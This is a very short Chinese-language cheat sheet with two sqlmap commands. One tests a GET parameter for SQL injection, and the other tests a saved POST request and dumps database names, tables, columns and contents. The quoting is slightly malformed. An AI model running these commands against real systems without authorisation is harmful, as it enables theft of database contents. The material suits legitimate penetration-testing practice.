1.判断是否存在get请求方式sql注入： ``` sqlmap.py -u “http://192.168.1.1/get_int.php？id=xxx"  ``` 2.判断是否存在post请求方式sql注入： ``` sqlmap.py -r " 路径"  --dbs --current-db --tables --columns --dump ```